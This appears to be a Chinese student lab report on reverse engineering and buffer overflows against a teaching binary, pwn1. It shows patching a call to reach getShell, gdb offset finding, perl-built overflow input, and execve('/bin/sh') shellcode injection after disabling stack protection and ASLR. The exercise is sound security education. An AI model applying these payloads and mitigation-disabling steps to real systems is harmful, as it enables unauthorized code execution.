20155305乔磊《网络对抗》逆向及Bof基础

20155305乔磊《网络对抗》逆向及Bof基础

实践目标

• 本次实践的对象是一个名为pwn1的linux可执行文件。
• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。
• 本次实践主要是学习两种方法：
  
  1.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  
  2.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 现实情况中的攻击目标：
  
  1.运行原本不可访问的代码片段
  
  2.强行修改程序执行流
  
  3.以及注入运行任意代码。

基础知识及实践要求掌握知识

• 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP：即“空指令”，在执行到其时，CPU什么也不做，只是继续执行NOP后面的一条指令。

JNE：条件转移指令，不等于则跳转。

JE：条件转移指令，等于则跳转。

CMP：比较指令，功能上相当于减法指令，但只是对操作数之间运算比较，不保存结果。执行后，将对标志寄存器产生影响。

• 掌握反汇编与十六进制编程器

• 反汇编：objdump -d xxx

• 二进制转十六进制：:%!xxd

• 掌握可执行文件的基本格式

• 掌握缓冲区溢出攻击的原理
  
  当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量，溢出的数据覆盖在合法数据上。

直接修改程序机器指令，改变程序执行流程

• 将目标文件20155305反汇编objdump -d 20155305，阅读发现getShell函数的地址是804847d，foo函数的地址是8048491，要想使main函数调用foo函数的机器指令是e8 d7ffffff，其下条指令的地址为80484ba，要想使main函数调用getShell函数只要修改d7ffffff为getShell-80484ba对应的补码c3ffffff就行。

• 利用vi 20155305命令打开目标文件20155305，屏幕上显示二进制乱码,利用:%!xxd命令，将二进制转换为十六进制。

• 利用/e8d7命令查找要修改的内容，将d7修改为c3。
• 利用:%!xxd -r命令将十六进制转换为二进制并存盘退出:wq。

• 更改程序后结果：

Kali Linux安装32位运行库（亲测有效）

• 更新源
  
  终端执行命令gedit /etc/apt/sources.list

#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
#google
deb http://dl.google.com/linux/deb/ stable main
#wine
deb https://dl.winehq.org/wine-builds/debian/ DISTRO main
#virtualbox
deb http://download.virtualbox.org/virtualbox/debian xenial contrib

• 然后执行apt-get update && apt-get upgrade && apt-get dist-upgrade
  
  大概会下载好几百兆的东西，网速慢的先自己干别的吧哈哈。

• 安装32位运行库 ，如果是32位操作系统，就不用安装本库了（基本都64位了吧现在）
  
  root权限：（一定要进入root这个用户里）

dpkg --add-architecture i386
apt-get update
apt-get install lib32z1 lib32ncurses5

通过构造输入参数，造成BOF攻击，改变程序执行流程

• gdb调试确认输入字符串哪几个字符会覆盖到返回地址

• 首先输入1111111122222222333333334444444455555555，用info r命令查看溢出时寄存器状态如下，观察%eip的值，发现%eip的值是0x35353535，大致确定溢出字符为55555555。

• 再输入1111111122222222333333334444444412345678，用info r命令查看溢出时寄存器状态如下，观察%eip的值，发现%eip的值是0x34333231，确定溢出字符为1234。

• 只要把这四个字符替换为getShell的内存地址，输给20155305pwn1，20155305pwn1就会运行getShell。

• 构造输入字符串来覆盖返回地址

• 我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件，命令为perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input（\x0a表示回车）。

• 使用16进制查看指令xxd input查看input文件的内容。

• 使用(cat input; cat) | ./20155305pwn1命令，将input的输入通过管道符“|”作为pwn120155305的输入。更改程序后结果：

20155305《网络对抗》PC平台逆向破解（二）

shellcode注入

1、shellcode

shellcode是一段代码，溢出后，执行这段代码能开启系统shell。

2、构造方法

（1）nop+shellcode+retaddr（适用于缓冲区大的情况）

（2）retaddr+nop+shellcode（适用于缓冲区小的情况）

3、准备工作（安装execstack并修改设置）

• 安装execstackapt-get install execstack
• 设置堆栈可执行execstack -s pwn20155305
• 查询文件的堆栈是否可执行execstack -q pwn20155305
• 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
• 查询地址随机化状态（2表示开启，0表示关闭），若是开启状态，则关闭地址随机化more /proc/sys/kernel/randomize_va_space

4、运行并gdb调试

• 输入shellcode内容perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode运行pwn20155305，输入命令(cat input_shellcode;cat) | ./pwn20155305

• 查询进程输入命令ps -ef | grep pwn20155305

• 启动gdb调试这个进程

• 通过设置断点，来查看注入buf的内存地址

• (gdb) x/16x 0xffffd43c 看到 01020304了，就是返回地址的位置。shellcode就挨着，所以地址是 0xffffd460

• 知道shellcode地址，所以修改为perl -e 'print "A" x 32;print "\x60\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  
  查看shellcode转换进制内容xxd input_shellcode，并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305